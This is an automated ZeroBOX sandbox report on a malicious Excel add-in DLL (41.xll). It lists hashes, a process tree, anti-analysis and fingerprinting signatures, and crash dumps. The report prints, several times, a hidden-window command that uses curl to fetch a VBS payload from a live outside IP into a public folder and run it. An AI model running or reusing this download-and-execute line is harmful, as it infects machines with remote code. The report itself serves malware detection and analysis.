Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 4, 2023, 2:17 p.m.	Oct. 4, 2023, 2:19 p.m.

Size	50.0KB
Type	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	`26637ccedca5d00512d1bf78b9ad8348`
SHA256	`909911755ad76f4d8b6940c211e60c87ca48951f69473f9e1eec37e15c0ebef0`
CRC32	`6EECB329`
ssdeep	`1536:F7pxSJsy6Nh5wFHssKjrtN/5jqzyCNwGXGhrAQc45gwN:/YwNh5wFHssKXnxjNCNHGgwN`
Yara	PE_Header_Zero - PE File Signature IsDLL - (no description) IsPE64 - (no description)

rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\41.xll.dll,hash
1648
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\41.xll.dll,hash
  2316
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\41.xll.dll,xor_decrypt
2164
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\41.xll.dll,xor_decrypt
  2356
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\41.xll.dll,xlAutoOpen
2072
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\41.xll.dll,xlAutoOpen
  2392
  - default.exe c:\users\public\default.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\123321.vbs http://207.246.78.68/6kQh/AQbK2&&timeout 10&&c:\\users\\public\\123321.vbs', 0); window.close();</script>"
    2452
    - cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\123321.vbs http://207.246.78.68/6kQh/AQbK2&&timeout 10&&c:\users\public\123321.vbs
      2788
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\41.xll.dll,
2260

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 4, 2023, 2:17 p.m.			0	0
IsDebuggerPresent Oct. 4, 2023, 2:17 p.m.			0	0
IsDebuggerPresent Oct. 4, 2023, 2:17 p.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Oct. 4, 2023, 2:17 p.m.	buffer: 'C:\Windows\system32\curl.exe' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x000000000000000b	1	1	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 4, 2023, 2:17 p.m.		1	1	0

One or more processes crashed (2 events)

Time & API	Arguments	Status	Return	Repeated
__exception__ Oct. 4, 2023, 2:17 p.m.	stacktrace: xlAutoOpen+0x9b90 41+0xb000 @ 0x7fef3f1b000 rundll32+0x2f42 @ 0xfff62f42 rundll32+0x3b7a @ 0xfff63b7a BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76fd652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x776ec521 exception.instruction_r: 78 c2 f1 f3 fe 07 00 00 00 00 00 00 00 00 00 00 exception.instruction: js 0x7fef3f1afc4 exception.exception_code: 0xc0000005 exception.symbol: xlAutoOpen+0x9b90 41+0xb000 exception.address: 0x7fef3f1b000 registers.r14: 0 registers.r15: 0 registers.rcx: 196648 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 1769200 registers.r11: 1768288 registers.r8: 3195220 registers.r9: 10 registers.rdx: 4294311936 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 196648 registers.r13: 0	1	0	0
__exception__ Oct. 4, 2023, 2:17 p.m.	stacktrace: xlAutoOpen+0x99 hash-0x9af7 41+0x1509 @ 0x7fef3f11509 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 0x223e747069726373 exception.instruction_r: c3 90 90 90 90 90 90 48 83 ec 28 48 8b 05 f5 9a exception.instruction: ret exception.exception_code: 0xc0000005 exception.symbol: xlAutoOpen+0x99 hash-0x9af7 41+0x1509 exception.address: 0x7fef3f11509 registers.r14: 0 registers.r15: 0 registers.rcx: 48 registers.rsi: 0 registers.r10: 0 registers.rbx: 131426 registers.rsp: 2095984 registers.r11: 514 registers.r8: 2094152 registers.r9: 2094208 registers.rdx: 8796092887632 registers.r12: 3403660466342687599 registers.rbp: 3719424 registers.rdi: -1 registers.rax: 0 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Oct. 4, 2023, 2:17 p.m.

stacktrace:

xlAutoOpen+0x9b90 41+0xb000 @ 0x7fef3f1b000
rundll32+0x2f42 @ 0xfff62f42
rundll32+0x3b7a @ 0xfff63b7a
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76fd652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x776ec521

exception.instruction_r: 78 c2 f1 f3 fe 07 00 00 00 00 00 00 00 00 00 00
exception.instruction: js 0x7fef3f1afc4
exception.exception_code: 0xc0000005
exception.symbol: xlAutoOpen+0x9b90 41+0xb000
exception.address: 0x7fef3f1b000
registers.r14: 0
registers.r15: 0
registers.rcx: 196648
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 1769200
registers.r11: 1768288
registers.r8: 3195220
registers.r9: 10
registers.rdx: 4294311936
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 196648
registers.r13: 0

__exception__

Oct. 4, 2023, 2:17 p.m.

stacktrace:

xlAutoOpen+0x99 hash-0x9af7 41+0x1509 @ 0x7fef3f11509
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373
0x223e747069726373

exception.instruction_r: c3 90 90 90 90 90 90 48 83 ec 28 48 8b 05 f5 9a
exception.instruction: ret
exception.exception_code: 0xc0000005
exception.symbol: xlAutoOpen+0x99 hash-0x9af7 41+0x1509
exception.address: 0x7fef3f11509
registers.r14: 0
registers.r15: 0
registers.rcx: 48
registers.rsi: 0
registers.r10: 0
registers.rbx: 131426
registers.rsp: 2095984
registers.r11: 514
registers.r8: 2094152
registers.r9: 2094208
registers.rdx: 8796092887632
registers.r12: 3403660466342687599
registers.rbp: 3719424
registers.rdi: -1
registers.rax: 0
registers.r13: 0

Creates a suspicious process (1 event)

cmdline

"C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\123321.vbs http://207.246.78.68/6kQh/AQbK2&&timeout 10&&c:\users\public\123321.vbs

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Oct. 4, 2023, 2:17 p.m.	show_type: 0 filepath_r: cmd parameters: /c C:\Windows\system32\curl.exe -o c:\users\public\123321.vbs http://207.246.78.68/6kQh/AQbK2&&timeout 10&&c:\users\public\123321.vbs filepath: cmd	1	1	0

41.xll

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All